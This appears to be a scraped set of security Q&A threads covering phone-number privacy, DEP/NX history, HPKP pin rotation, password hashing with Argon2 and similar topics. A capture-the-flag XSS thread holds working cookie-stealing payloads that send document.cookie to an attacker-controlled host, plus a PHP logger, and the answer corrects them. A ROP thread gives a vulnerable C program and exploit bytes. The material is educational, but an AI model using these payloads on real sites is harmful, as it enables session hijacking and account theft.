Hacking : Some services have started using mobile numbers as an alternative method to login (at least Facebook but I'm sure there are others), often to log in as someone else an adversary requires a username and password.. if you already have the username, you're 50% of the way there.
Information Disclosure : In the US a phone number can often reveal the area it was registered in (List of North American Numbering Plan area codes). So you could move onto voting records etc. to try to find where that person lives. This was particularly notable with the SnapChat leak where due to the reputation the service has for sexting people performed analysis on the numbers to work out what areas people were located in.
Hacking : In the UK a number may (assuming they haven't switched providers) reveal their mobile provider which may further help an adversary commit some form of ID theft / phishing against the communications provider (a Vodafone prefixed telephone number might give away that the user is a Vodafone customer and from there someone could try and impersonate the owner of the number). Failing that if you get through to Voicemail often a network standard voicemail will be present (or some well known operator specific instructions after a custom outgoing message "You can press 1 at any time to re-record your message" can also reveal the provider).
Hacking : It was previously possible in the UK to ring up a communications provider's voicemail service, enter in the mobile number of someone and try the network's default PIN to remotely access their voicemail. This was used by a lot of UK media companies against some incredibly high profile people (source).
Hacking : Phone networks are often vulnerable to caller ID spoofing and if an adversary has your number they might be able to call people with your number and social engineer someone (your work's receptionist at the large organisation you work for?) into revealing further information about you. I doubt my payroll department would recognise my voice over anyone else's but I'm sure they'd believe that it has to be me because of my mobile number matching what the HR database says!

My personal take on my mobile number is I'll give it to anyone who has a legitimate reason to reach me, but I restrict it to those that are already friends on Facebook and certainly wouldn't place it anywhere particularly public.


Data Execution Prevention X vs NX My lecturer posted this in his slides and I have no idea what he is trying to say.

I quote from his slide:

  Windows DEP = Data Execution Prevention

  Old “X” idea: must allow explicitly, current OS+programs would stop
  working.

  The “NX” idea: Never Xecute = can forbid. Easier to make compatible
  systems.

Please do not provide technical details such as what DEP is trying to achieve, dramas with keeping APIs compatible.

I am confused on the old vs new point he is trying to make, especially in terms of compatibility.

I'm not 100% sure what point your lecturer is trying to get at, particularly because "DEP" is a vague term from a historical perspective.

I know that you asked us not to provide technical details, but I think they're warranted here from a history perpective.

There are two types of DEP:

Software-enforced DEP, which is actually SafeSEH (nothing to do with preventing execution of non-executable memory pages)
Hardware-enforced DEP, which allows the OS to mark memory pages as non-executable in such a way that the CPU will refuse to execute code in them.

You might be wondering "why the heck did they call both of these DEP?", and the answer is essentially that back in the early 2000s SEH pointer overwrites were the primary trick used to exploit stack buffer overflows, so "software data execution prevention" was a reasonable name for an exploit mitigation that prevented an attacker from redirecting EIP using overwritten stack data. We now call this SafeSEH instead.

The second half of the equation in such stack buffer exploits was to redirect EIP to a buffer that the attacker controlled (in this case the stack) which is where hardware-enforced DEP comes in. By utilising the NX feature (Intel calls it XD, but NX caught on as the common term) of the CPU, the OS can mark pages as non-executable and if an attacker tries to point EIP to some memory inside that page the CPU will refuse to fetch instructions from it and raise a hardware exception. As part of enabling DEP, the OS sets the stack up to be non-executable memory when creating the process. As this was the second part of preventing exploitation via stack buffer overflows, and it was enabled by the hardware NX bit (also called the XD bit) it got the name "hardware DEP".

(intermission) If you're curious about SafeSEH, it works by maintaining a list of valid exception handlers at compile time and the exception dispatcher won't transfer execution to a location not on that list. There's also SEHOP, which walks the full exception chain before dispatching to ensure that it is intact and complete (there's a special SEHOP record injected onto the end of the chain so it can find the end) - this prevents an exploit from overwriting a handler entry. The bonus of SEHOP is that you don't have to recompile the application with SafeSEH support.

From now on I'm just going to use the modern terms (DEP and SafeSEH) because otherwise this gets confusing.

The way the DEP policy works on Windows is as follows. There are four system-wide policy options: off, opt-in, opt-out, and forced. Portable Executable files (e.g. EXEs and DLLs) can set the IMAGE_DLLCHARACTERISTICS_NX_COMPAT flag in the DllCharacteristics field of the PE Optional header to indicate that they are NX-compatible (i.e. they know about NX and won't try to execute non-executable pages). The combinations are as follows:

When the DEP policy is set to AlwaysOff, the NX_COMPAT flag is ignored and DEP is not enabled for any process.
When the DEP policy is set to OptIn, the OS honours the NX_COMPAT flag; processes without it don't get DEP, processes with it do get DEP. However, the administrator may set up Image Execution Options for particular applications to force DEP to be on for them regardless of the value set in the PE header. Additionally, the process can call the SetProcessMitigationPolicy API with ProcessDEPPolicy to enable DEP on itself (although this is unlikely, as processes that are DEP-capable would likely just set the PE flag). This API can also be used to permanently enable DEP for the process (i.e. a later call to the API telling it to disable DEP would be denied).
When the DEP policy is set to OptOut, DEP is enabled for all processes by default, regardless of the NX_COMPAT flag. Like with the OptIn policy, the administrator can configure Image Execution Options for particular applications to disable DEP. Again the SetProcessMitigationPolicy can be called by the process with ProcessDEPPolicy to turn DEP on or off, or permanently enable it.
When the DEP policy is set to AlwaysOn, the NX_COMPAT flag and Image Execution Options are ignored and DEP is enabled for every process. The SetProcessMitigationPolicy API cannot be used to disable DEP when this policy is set; it is permanently enabled for all processes.

With all this in mind, there are a few things I think your lecturer might be trying to say:

Originally when NX came out, OS devs thought about setting everything to non-executable and making applications mark things as executable, but this would lead to problems with applications that incorrectly assumed that non-executable pages could be executed. This would mostly affect packed/compressed applications and anything with a JIT engine. So, instead, OS devs decided to default to letting processes just execute any data they like unless they opted into DEP, for compatibility reasons. In this case "X" is the original thinking, and "NX" is the approach they ended up taking.
SafeSEH (previously known as "software DEP") requires applications to be recompiled with the feature enabled, whereas SEHOP can just work on application that aren't compiled with SafeSEH. In this case SafeSEH is "X" and SEHOP is "NX".
Originally we were just going to have a policy of having applications be DEP by default but this doesn't work in practice, so we built a load of policy options (OptIn, OptOut, AlwaysOn, AlwaysOff). In this case "X" is the original on/off approach, and "NX" is the policy approach.

Sorry that I couldn't give you a simple straight answer, but hopefully this has somewhat improved your understanding of how the terminology evolved and how the current NX/XD/DEP/SafeSEH/SEHOP policies and ecosystem came together.


What attacks does the disclosure of VPN user credentials allow? Many popular VPN services (that provide encrypted tunnels between the users' devices and distant VPN servers) authenticate users using a pair of email address and password. What attacks would the disclosure of the credentials of a user allow (against the user)?

If the VPN provider doesn't log any user data, is there any way that past traffic could be inferred by the attacker? Does this allow the attacker to read (ie. decrypt) all future traffic of the user?

A lot of the answers depend on the VPN technology used, but assuming it's a TLS-based vpn, knowing a user's credentials would allow someone to assume that user's identity, but not decrypt past or future traffic. If the VPN provider gives access to VPN logs (which is extremely rare), having someone's VPN credentials would allow the attacker to see usage history.

Generally, though, it only allows someone to use the stolen VPN account without paying for it and doesn't compromise the security of VPN sessions.

Edited to add: obviously, if it's the kind of VPN account that grants access to restricted resources (such as private company networks), then it's different.


XSS code not fetching back script I am doing a XSS challenge on HTB and have run into an issue. I have the unvalidated field that is vulnerable to XSS and so far I have got the below line to successfully call back to a python server on my box that is hosting a malicious script embedded in an html file.

The issue I have is that after the initial call from the top fetch the index.html the malicious script which should be called from the html file is not getting called.

Maybe my understanding of this attack is wrong but I thought I should see first the call for the html file and then a call by the malicious JS.

The application is using HTTPS but my python server is HTTP.

Is my implementation wrong or my understanding of this attack vector?

<script src="http://My_ip/index.html"></script>

I'm trying to then fetch this html file containing a remote malicious script...

<html>
    <body>
    <script type="text/javascript">
        document.location='http://my_ip/write.php?c='+document.cookie;
    </script>
    </body>
</html>

And this is my php script that is supposed to be receiving the file.

<?php
header ('Location:https://intra.redcross.htb/');
        $cookies = $_GET["c"];
        $file = fopen('log.txt', 'a');
        fwrite($file, $cookies . "\n\n");
?>

The idea of the attack is that I run the first piece in the script tags, which fetches the html file which finally send the call with the (hopefully) admin cookie to my server and the php script to be written to a file.

I did also try this as the XSS payload but I only got the callback and no cookie data.

<script src='http://my_ip/write.php?c='+document.cookie;</script>

As far as I can tell, there are two issues here:

modern browsers will not fetch mixed active content (ie JavaScript served via HTTP when the site is HTTPS).
you can't include a HTML file as a script (because it doesn't contain valid JavaScript code).

So what you want to do is include a JavaScript - not an HTML - file in your XSS payload via HTTPS. Or you could just use the actual payload directly instead of fetching the script first. So your XSS payload should be either of these:

Fetch script:

<!-- note the .js instead of .html;
     the JS file would then contain JS code (not HTML code)
      and do something malicious
 -->
<script src="https://My_ip/index.js"></script>

Direct:

<!-- here, HTTP is OK because it's just a redirect, not loading scripts -->
<script>
document.location='http://my_ip/write.php?c='+document.cookie;
</script>


How do I know an Anroid app is completely removed? Greeting. I just get a new phone. It has these two apps:

Clean Master (by Cheetah Mobile)
CM Security (by Cheetah Mobile)

I know that these two apps takes user information without consent. (For those who wants to look it up, here is information from India.)

Of course, I remove these two apps, but how do I make sure these two apps are completely removed? In other words, using the regular way of removal (Settings -> Apps -> select an app to remove), does Android (the Operating System) remove everything an app install? (Hopefully the installed app will not secretly install additional apps without my knowledge.)

I have searched the web, but maybe my Google-ish is not good, so I don't find articles about this topic (checking if an app is completed removed). I have heard that one can use WireShark to detect the data usage of mobile phone, but I just want a simple way to check. I don't want to set up a lab to do so.

Thank you.

There are a few checks you can do:

Go to Settings>Security>Device administrators and check if there's any app that shouldn't be there. The location of device administrators might vary from device to device.
Check if your phone is transferring huge amounts to data. Android has in-built tracker(depending on the Android version) for this which shows you which app is transmitting how much amount of data.
Check the list of installed apps and see if there's any app that shouldn't be present there. If yes, Google the name of that app and then take a decision if it has to be uninstalled or kept.
If you're still worried that your device is infected, hard-reset the phone.


How do you guarantee that you don't lose a keyfile? I am toying with the idea of adding keyfiles to various things that I encrypt. However what's been keeping me from adopting them is guaranteeing that I don't lose the keyfile while still keeping security.

My issues is that with passwords if you think long enough and can try enough you will eventually remember it. Keyfiles on the other hand are gone forever if you lose them with <1% chance of ever recreating it.

Sure I can put the keyfile in 6 flashdrives and back the file up to multiple sites (can't put it with my normal backups as they are encrypted), but then you run into plausible deniability issues ("Hmm, why do you have 6 flashdrives that have the same single file?") and security issues (the more exposed something is by definition its less secure).

What are some recommended ways to keep a keyfile backed up and always available without compromising security and plausible deniability?

I think your requirements conflict - plausible deniability is not something which you will get from keyfile backups.

But for the backup/availability, follow standard backup and availability practices - mirror to secure location, secure backup, test backups regularly...


Replacing a TLS cert when the old one is pinned (HPKP) Suppose my Public-Key-Pins max-age is 60 days. When can I deploy a new cert? 60 days from now? But what about browsers who first connect to my site between now and 60 days from now?

This site says:

  When GitHub [who uses HPKP] wants to replace its TLS certificate, the new certificate must be signed by either DigiCert or Symantec – otherwise, none of the key hashes in the new certificate chain would match the existing HPKP policy, and its users would be blocked from accessing the site.

So, I can't deploy a new cert signed by a different CA (e.g., Let's Encrypt's) than that of the one I originally pinned (e.g., Verisign)?

Is this why it's recommended to pin a backup cert from a different CA?cf. p. 315 of Ivan Ristić's Bulletproof SSL and TLS (2014)

You should ALWAYS have two (or more) pins in your headers: one for your current certificate, and one (or more) for the backup certificate(s) (held separately from current one, best offline).
If your current certificate was not compromised, you don't need to touch the pins or issue new certificate - you can simply renew existing certificate (ask CA to issue new CRT using the same CSR as previously).
If your system was compromised you can switch to backup certificate you've had pinned (for at least max-age) ANY TIME - UA will accept it, because the pin is valid (was previously present in headers).
You can ask any CA that is trusted by the client to sign your CSR (current or backup).
If you want to add new pin you need to wait max-age period (usually 60 days) before using certificate that matches it, to eliminate risk of UA rejecting connection. See scenario below and note the differences between clients X and Y:

day 1: you configure pin A + crt A, set max-age to 60 days,
day 2: client X connects and learns A is safe for 60 days,
day 3: client Y connects and learns A is safe for 60 days,
day 20: you add pin B to the headers,
day 21: client X connects (he trusts A) and learns both A and B are safe for 60 days,
day 40: you switch to crt B,
day 41: client X connects (he trusts both A and B),
day 42: client Y rejects the connection - he didn't manage to learn new pin from trusted A (like client X did), so he will reject everything except A until day 63.

If still in doubt, see section 2.6. Validating Pinned Connections and Appendix B. Deployment Guidance in RFC 7469.


Can an attacker discover email addresses without gaining server access? Present situation:  I am receiving emails at a few of my email addresses, different domain names, all housed on the same server.  The emails ares spoofed (appear to be coming from each of the email addresses), but looking at the headers, they are coming from some other IP address.

I want to dismiss this threat.  However I am a little concerned, as I don't know of a way for someone to discover email addresses without some access.

If you've used those email addresses anywhere, particularly on any public access forum, they were likely swept up.

If they were part of any of the multitude of public breaches that have taken place over the years, they were probably swept up.

If they were in friends or family address books and used in "CC" blasts to many places, they were probably swept up.

If they are part of a reasonable guessing algorithm pattern, they may have been generated by spammers.

In general there's no email discovery method, but keep in mind that until that last couple of years, due primarily to Google efforts, federated mail server to mail server connections were generally not encrypted. This allowed content sweeps from anywhere in the path. Due to efforts by Google, about 90% now use encrypted federated connections.

There likely is no threat or concern as long as you don't respond to the emails, either intentionally or unintentionally.


Risks and challenges of an online voting system. Any recent updates? I'm studying and preparing a document for implementing an online voting system (internet based system) which can be used for governmental voting purposes. I would like to ask for your advise and suggestions regarding threats, weaknesses, risks and challenges that such a system can have. If you are not agree for using of such systems, it would be great to have your comments as well. Also please let me know about related articles / blog posts. :)

Question: What are the risks / challenges that might affect system's reliability and user's trust?

For clarifications of question I see following items as a matter of threats, weaknesses, risks or challenges which should be cared and considered. I'm not sure if it is a complete list:

Data Security (Application Layer)
Physical Security (Data Center Security)
Personnel Security
Identity Validation, Verification and Authentication
Anonymity

Basic requirements are:

People can vote only one time.
Votes must be confidential and no one should be able to find about who voted for what.

Related / similar projects:

Smartmatic: https://www.smartmatic.com
Scytl Secure Electronic Voting, S.A: https://www.scytl.com/en/
Polyas: https://www.polyas.com
Intelivote: http://www.intelivote.com

I found a question asked about 5 years ago about the possibility of Online Government Elections System. I believe it is possible now and also most of the challenges mentioned there still are valid but I'm wondering if there is any changes from then and if the vision for the future is still same.
Online Government Elections System - Is it possible?

IMHO authentication over Internet with a security level compatible with a governemental election requires strong authentication (certificate) where the private key is securerly locked into a physical device to prevent any copy. That means that we need a national PKI system where each citizen has a smartcard. BTW, that would de-facto exclude voting from a smartphone.

Then any citizen is normally allowed to vote, even if they own no computer or have an out of use computer at time of vote. So the system should make provision for public voting point for example in town halls.

Once these two points are solved, the next and probably harder one is how to prove that the system does what it is supposed to do. Develepment of a system able to:

identify a voter
note that he/she has voted to prevent multiple votes
store the vote in a way that it is impossible to know at the end who voted what

is probably not a real challenge, but proving that it contains no trap (be it volunteer or not) is at the limit of what I can imagine, because only IT security experts could do it, and I currently know no comitee that would have both the knowledge and competence and the legitimity for it.

And after the election, it would be necessary to again prove that the system has not been hacked during the operation, with the same question on competence and legitimity.

Lawyers generally say that small is beautiful. When you have thousands of vote point each with some people mandated by the different candidates to control the regularity, it is admitted that there will be problem here and there, but not enough to change the result of a vote. Hacking a global system would certainly be harder than adding some paper bulletins, but the consequences could certainly change the result of an election.

That's probably the reason why, while plenty of people would be able to build nice voting system, few countries use them


How to "normalize" an html file? Given an HTML file, the content of which was generated from various websites, it could have potential security problems, like:

<script>alert("XSS alert!")</script>

Q: What can we do to "clear" this HTML file? Run a:

sed '/<script/d'

several times? (the "<script" could be hidden in HTML, like: "&lt;script")

Since the HTML was assembled from heterogeneous sources, chances are that you're not interested in any scripts it may contain. So your approach looks viable to me.

I believe that the most practical and maintainable approach would be to make a list of allowed HTML tags and attributes (you are likely to not want, more than simply not need, CSS code; so id, style and class attributes may be discarded altogether). Tags like IFRAME and attributes such as onfocus would very likely not be included in the list at all.

Once you have this, you can run your HTML through a parser that will drop any unknown tags and attributes. You may want to do this in two stages, a "tagsoup" cleaner (HTML Tidy or TagSoup or HTMLClean or BeautifulSoup - I'd try HTML Tidy first) and a full-fledged HTML parser.

This way you'd end up with a well-formed and defanged HTML code which can be then manipulated much better and in more safety.

I'd avoid regexp matching unless I really had no other alternative.


How to brute force Last Pass local storage extension? I need to brute force Last Pass since I forgot my master password.
Anyone know how is the format of the local storage of the extension?

I was logged into it so it must have local data.
I see words.dic and LPMPMU in local storage.

Lastpass uses PBKDF2 for password hashing with 5000 iterations and SHA-256 (reference).

So if you have actually forgotten your password I doubt that you will be successful using brute force.

If you want to estimate your success probability get hashcat and run it in benchmarking mode.
It will figure out how many hashes/second it can try and if you tell it what you are looking for (maybe you still have a vague idea what the password was)  even how many possibilities there are and how long it will take.


Is it possible to verifiably timestamp a video? I am wondering if there is a way to timestamp a video. (e.g. Security camera footage)

I know that there is a way to timestamp a document with a trusted time authority, and it will certainly be possible to cut the video, send it to a time authority and get it timestamped. But it won't ensure that the footage is exactly from a specific time.

Could there be any trust-able methods to timestamp the video while it's being recorded, so that there will be a method to verify that the exact frame of a video footage is from exactly that time?

You mention surveillance cameras as one possible application, and I assume you want its footage to hold up in court, but for that it usually does not need to be accurate to a single frame (with dozens of frames per second). Therefore I'm not sure I understand your exact purpose, but here is what I can think of:

You can prove that something was recorded at "a certain time or later" by including unpredictable events, such as the most recent news headlines or stock data.
You can prove that the footage is from "before a certain time" by using a trusted third party (TTP) which timestamps (or keeps a copy of) the data.
You can sometimes correlate audio with the electricity grid's frequency, called electrical network frequency analysis: https://en.wikipedia.org/wiki/Electrical_network_frequency_analysis

I'm not sure if there are TTPs that can do timestamping of a video stream in realtime, but as far as I know it's impossible to prove (without TTP) that something happened before a certain time: with hindsight, you can always apply/include things from the past. Even the electric hum can be applied afterwards. The question is: would the judge (or in some countries, random people off the street) believe that you went through all that effort to forge surveillance video evidence? Are there any indications of forgery? Could it reasonably have been done in the time that you had between the crime and the submission of evidence?


How to decide whether an eshop is safe or compromised So, I am having this issue where I want to buy a specific wacom product but their online store eu-store.wacom.com and us-store.wacom.com, even though it is being accessed through https, does not convince my firefox that it's safe.

The actual wacom homepage www.wacom.com shows up with a proper green lock and is verified by godaddy. Their eshop is under the same wacom.com domain but the godaddy verification is missing.

My questions are, why is this inconsistency happening, how can I verify that the store page is indeed wacom's, and ultimately, is it safe for me to purchase stuff with my card through it?

On eu-store.wacom.com, some images from their Amazon CDN are requested over http instead of https. This can be solved by installing HTTPS Everywhere and turning on "Encrypt All Sites Eligible":

The gray padlock means all resources are served securely. So the webstore is most likely not compromised. They are still using an outdated cipher based on CBC and SHA1, so a nation-state power might still be able to intercept or even MITM the connection.


API request signing best practices I am reading how different services are handling API signature and authentication.
Particularly I was looking at:

AWS Signing v4
WeChat Signature Algorithm
Alipay Digital Signature
Google Maps API

I see the algorithm Amazon is using for signing is quite complicated, while the ones used by Alipay, WeChat and Google are simpler (they basically just concatenate the request parameters): is there any open-standard to create request signature?
Is there any reason for making it the way Amazon does it?

Fully analyzing all four would make this answer too long, but let's compare the AWS and AliPay schemes.
Alipay HTTP signatures

To me this looks very similar to the Signed JWT / JSON Web Signature (JWS) scheme (wikipedia, official spec in RFC 7515). So the entire contents of the JSON body will be protected by the signature. But that's not the entire message. The full HTTP message will include headers and be something like (I'm inventing this)
POST /api/v3/payment/paycancel HTTP/1.1
Host: alipay.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: f2a905cba5482c77c4468d5f62c3cafe35c8c76ff7effae2e15085bd1edb579af9729b487753cc2f95ae9099a005a4ef2c013c8531c0addb8771b527cf3508bb
Content-Type: application/json
Referer: https://www.google.com/
Origin: https://www.google.com
DNT: 1
Connection: keep-alive
Content-Length: 787

{"request":{"head":{"version":"2.0.0","function":"alipay.intl.acquiring.agreement.payCancel","clientId":"211xxxxxxxxxxxxxxx044","reqTime":"2001-07-04T12:08:56+05:30","reqMsgId":"1234567asdfasdf1123fda","reserve":"{}"},"body":{"merchantId":"218xxxxxxxxxxxxxxx023","acquirementId":"2015xxxxxxxxxxxxxxxxxxxxx747"}},"signature":"c1hTR2RBNHRSNEIwd25GNk5yOFNocGZOTXRISVNXdXpMcGRLb05Xc2tJZ0Njc3BNVkZGemdrZXo0QnJtdFlYa01xWmgxdHl6LzhzTk5VM0YyVlR1MGZPeCtaUDRDbm1Wak51OGJjaXU0aFR0bnl0QTNZMUdaL3lYQVVEK21WWUdYZXlETzNmSHJxRGRJN2szeFYvUThGQ09kMGN1bFRzTjZSUk14TVpxK29xUjJ4K0VqT1hWb2ZwN0JaSndoUUU4VXM0QWw1NzNGUXo1RUhEdkNMeDM1bHEyaG9NaFhMQ1ZMVkRCSGNwQ2dvdHVZNG1nOTFNWGgvcXFjRkdZL2hRS2hHZFdBYlo5dGNwMlE1czJFU2gzN3JxeG5Pd1pycmVwSzhOQzZ2TUJQVWlTUHhRZWZwZXYybkcwSnpBSE9qUlBiQlhZdzFYQlM2UkJZS0FtdWZaWmlRPT0="}

Now, with Alipay's signature scheme, only the JSON body is protected, not the HTTP headers. Could an attacker do damage by intercepting your request and modifying the HTTP headers? Maybe.
AWS HTTP signatures
The AWS page you link to says:

To sign a request, you first calculate a hash (digest) of the request. Then you use the hash value, some other information from the request, and your secret access key to calculate another hash known as the signature. Then you add the signature to the request in one of the following ways:

Using the HTTP Authorization header.
Adding a query string value to the request. Because the signature is part of the URL in this case, this type of URL is called a presigned URL.

While that page doesn't give a whole lot of technical detail, it sounds like they are trying to sign over the entire HTTP request (including headers) and not just the JSON body.

Wouldn't it be great if HTTP signatures were standardized?
It's been tried. Many times.
In 1999 RFC2660 defined the Secure HyperText Transfer Protocol (S-HTTP), which carries HTTP messages inside Cryptographic Message Syntax (CMS) containers -- the same trick that S/MIME uses to encrypt and sign email. For whatever reason, this never caught on.
More recently, I've seen a couple of attempts at the IETF to sign HTTP requests and responses using headers, similar to what AWS does above:

draft-yasskin-http-origin-signed-responses: "Signed HTTP Exchanges"
draft-cavage-http-signatures: "Signing HTTP Messages"

TL;DR: signing HTTP messages sounds obvious, and it is if you only care about signing the payload of responses and POST requests -- do what Alipay has done and use JWS. Signing the entire HTTP message, including the requested URL and other headers is a lot tricker and standards bodies have been trying for over 20 years to come up with an HTTP signing mechanism that is both secure and flexible.


Would services or whole operating systems written in pure Python/Java be safer? Many Windows and Linux services are written in C and/or C++. Due to that fact, they can be exploited in several ways due to the lack of memory security (buffer overflow, etc.).

Are services written in Python/Java safer than those written in C/C++?
Would a whole operating system based on Java/Python (if thats even possible) be safer than the current operating system alternatives?

Using Java or Python instead of C or C++ does indeed (almost) completely remove the risk of buffer overflows and similar. That does not automatically make such services safe or even safer - there are whole classes of vulnerabilities (check out OWASP top 10) completely unrelated to memory safety.

So would writing an OS in Python of Java be a good idea? It's not obvious how that would even work. The OS must perform direct memory management, and you can't really do that in such a high level language. Besides, there would be performance issues. A much more viable approach would be to write your OS in a low level language that is memory safe, like Rust.

But at the end of the day, if you hire a lazy web developer like me, I'll just concatenate untrusted data straight into SQL queries anyways. And all the memory safety in the world is not going to help against that.


Corrupted Address When Performing 64 Bit ROP Chain I'm trying to learn ROP chaining on a 64 bit Linux machine and I've run into some issues. I'm using the following code for the buffer overflow (taken from this tutorial):

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

char *not_used = "/bin/sh";

void not_called() {
    printf("Not quite a shell...\n");
    system("/bin/date");
}

void vulnerable_function(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char **argv) {
    vulnerable_function(argv[1]);
    return 0;
}

The issue I'm running into is that the address to the ROP gadget (from libc) is 0x7EFBF7B267DB which is the address for a pop %rax; pop %rdi; call %rax;. However if my payload is, for example: \x41\x41\x41.....\x41\x41\xdb\x67\xb2\xf7\xfb\x7e\x41\x41\x41\x41\x41\x41, then it tries to call 0x41417EFBF7B267DB instead of 0x7EFBF7B267DB. I don't know any ways around this. Any suggestions?

A 64 bit address means each address will be 8 byte long. The address that you want to point to is 0x00007EFBF7B267DB instead of 0x7EFBF7B267DB.
Change your input to \x41\x41\x41.....\x41\x41\xdb\x67\xb2\xf7\xfb\x7e \x00\x00\x41\x41\x41\x41 and your code should run fine.

EDIT after further analyzing the issue in comments:
This link from Reverse engineering SE shows that ROP for a 64 bit machine can be tricky especially if you have null bytes in the address and the exploit code has strcpy.
The link suggests using a series of bugs and creating a chain to fix the issue or if you just want to use a shell code, then writing a suggested harness to your shell code.


Expired SSL Certificate Implications What are the security implications of an expired SSL certificate? For example if an SSL certificate from a trusted CA has expired will the communication channel continue to remain secure?

The communication is still encrypted, but the trust mechanism is undermined. But usually the most important factor is that users will get ugly warning messages about the security of your site. Most won't make informed judgements about the integrity of the connection, they'll just go buy stuff elsewhere.


In 2018, what is the recommended hash to store passwords: bcrypt, scrypt, Argon2? There are many questions about picking a hash function, including How to securely hash passwords? or Are there more modern password hashing methods than bcrypt and scrypt?, with very detailed answers, but must of them date quite a bit.
The consensus seemed to be that:

bcrypt is a good choice
scrypt should be a better choice, but, at the time, it was still a bit new, so one should have to wait to see if it stands the test of time

Argon2 is now the winner of the Password Hashing Competition, but it is definitely still quite new, so the same arguments that applied to scrypt at the time probably apply to it now.
Questions:

Is bcrypt still a good choice?
Is scrypt now a good choice?
Is Argon2 already a good choice?

Basically, today, for an average system with passwords, which password hashing function should one prefer? For those functions that have parameters, what should they be?
Edit
Note that even though the question is a near duplicate of How to securely hash passwords?, as stated above, most answers to that question date back to 2010-2013, with the most recent relevant updates dating back from 2016. Things have obviously changed since then, and what I am looking for is an update to those excellent answers. Feel free to answer with an update in that question and close this one if you think it makes more sense, but please don't just close this one without an up-to-date answer either here or there.

I do not recommend bcrypt for new designs where the input value is human-generated token (e.g. a password) and offline cracking is in the threat model. The lack of memory-hardness is a serious problem when you consider how powerful commodity hardware is these days. While the lack of any major bcrypt-based cryptocurrencies has not attracted FPGA or ASIC mining implementations for the algorithm, there has still been some interest in attacking bcrypt using hybrid ARM/FPGA SoCs, such as in this paper from 2014. Ultimately, the lack of memory-hardness is a significant problem for modern designs.

scrypt has memory hardness as part of its design, but it has some shortfalls. For a start, there are quite a few scrypt-based cryptocurrencies and this has attracted quite a market for commodity FPGA and ASIC mining solutions that could be repurposed for cracking. Furthermore, scrypt's memory-hardness and iteration count are both tied to a single scalar cost factor. This makes it difficult to tailor scrypt to your own threat model. I recommend scrypt where it is the easiest option for password storage in the language or framework you're using, for example if it is already an inbuilt option for protecting user passwords.

Ultimately, I always recommend Argon2 as the preferred choice, for a few reasons:

It has been around for a while now - it won the PHC in 2015. There have been quite a few papers studying Argon2's security proofs, and many more studying potential ways to accelerate the algorithm on dedicated hardware. So far it has withstood scrutiny very well.
There are open source implementations and bindings for C, Erlang, Go, Haskell, JavaScript, Java, Lua, OCaml, Python, R, Ruby, Rust, C# (both Framework and Core), Perl, and Swift.
Argon2 is built around the AES cipher, and most modern x86_64 and ARMv8 processors implement an AES instruction set extension. This helps close the performance gap between the intended system and a dedicated cracking system. (EDIT, Feb 2019: It seems that newer versions of Argon2 may not be compatible with the AES implementation in hardware extensions. See comments for discussion around this)
Argon2 is particularly resistant to ranking tradeoff attacks beyond a memory fraction of one third, making it much more difficult to accelerate cheaply on FPGAs. This is because FPGA-based cracking solutions are mostly limited by memory bandwidth, and with Argon2's design the attacker must swallow a great increase in computational time in order to reduce memory bandwidth requirements, thus making the tradeoff inefficient. You can read more about this in section 5.1 of the Argon2 paper, with information on scrypt available for comparison in table 6 (under section 5) of the paper "Tradeoff Cryptanalysis of Memory-Hard Functions".
Memory-hardness and CPU-hardness parameters are separately configurable, along with a parallelism factor. This allows you to better tailor the security bound to your use-case, such as a server with moderate CPU power and a large amount of RAM.

As you noted, the parameters you choose are important. scrypt doesn't give you much choice, so I recommend picking a cost factor based on time (e.g. 1500ms of processing) in that case.

For Argon2 you have more choices than just parameters. There are in fact three different implementations of Argon2, known as Argon2d, Argon2i, and Argon2id. The first one, Argon2d, is most computationally expensive and resistant to acceleration by GPUs, FPGAs, and ASICs with limited memory bandwidth. However, since the memory accesses of Argon2d are dependent on the password, side-channel attacks that leak information about memory accesses may reveal the password. Argon2i, as its suffix suggests, selects memory addresses independently of the password. This reduces its resistance to GPU cracking, but eliminates the side-channel attack. Argon2id is a hybrid approach wherein the first pass uses the Argon2i (independent) approach, and subsequent passes use the Argon2d (dependent) approach.

Wherever possible you should use an Argon2id implementation. However, this is not always available. For a scenario in which you are protecting passwords on a server and your threat model deems memory access side-channel attacks to be very unlikely (this is most of the time in my experience) you may use Argon2d. If memory access side-channel attacks are deemed to be a potential risk, e.g. in a multi-tenant system where untrusted or less-trusted users run code on the same system that does the Argon2 hashing, then Argon2i may be the better choice.

In short: use Argon2id if you can, use Argon2d in almost every other case, consider Argon2i if you really do need memory side-channel attack resistance.

For the parameters, the only hard rules are for Argon2i, which must be treated specially due to its comparative weakness to the other options. Specifically, the number of iterations must be 10 or more, due to a practical tradeoff attack on Argon2i.

You should tweak the parameters to your own use-case and performance requirements, but I believe the following are acceptable defaults for Argon2id and Argon2d:

512MB of memory
8 iterations
Parallelism factor of 8

The speed of this depends on your processor, but I achieved approximately 2000ms on my system.

For Argon2i you must increase the number of iterations to a minimum of 10, which may require you to decrease the memory factor for performance reasons. This is another reason to try to avoid Argon2i unless you absolutely require its resistance to memory access side-channels.


Most likely a compromised system, but is there a way around it? I think my home computer has been compromised. My question is, does my intruder have access to my computer if I set the firewall to block all traffic? Will editing documents in this mode prevent him from seeing what I'm doing, for the duration of the firewall being set this way?

Also, how is the actual penetration being done? Is it through the IP that you get from your ISP?  Would installing a VPN on top of a compromised system prevent the intruder from gaining access, since your IP would change/be masked? Or does it change?

set the firewall to BLOCK ALL TRAFIC...

If you manage to set the firewall to block all incoming and outgoing traffic then you cut off the access for the attacker as long as the firewall is set in this mode. But note that if the attacker is already  on your system he might have installed software to monitor the system and can later retrieve the collected information once he gets access again. Also, if the attacker has compromised your system you cannot trust it anymore and cannot even be sure that firewall settings shown on the system actually reflect the real status of the firewall.

  Also, how is the actual penetration being done?

It is impossible to say with the current information how the information was done on your system. But desktop systems usually get infected because you "invite" the attacker by reading mails, surfing to web sites etc. And in this case a VPN will not help because the attack is not done from outside against your specific IP address but is done by executing code from inside a mail or web site.


Log all crypto keys used for outgoing SSL / TLS connections on Linux server Is there some environment variable that works how SSLKEYLOGFILE works for NSS-reliant programs but which would apply to all outgoing TLS / SSL connections on a Linux server and not just ones that use NSS?

Specifically I want to do a tcpdump of the traffic from the exim daemon to all foreign hosts to try to debug an issue and I need to be able to decrypt it afterwards.

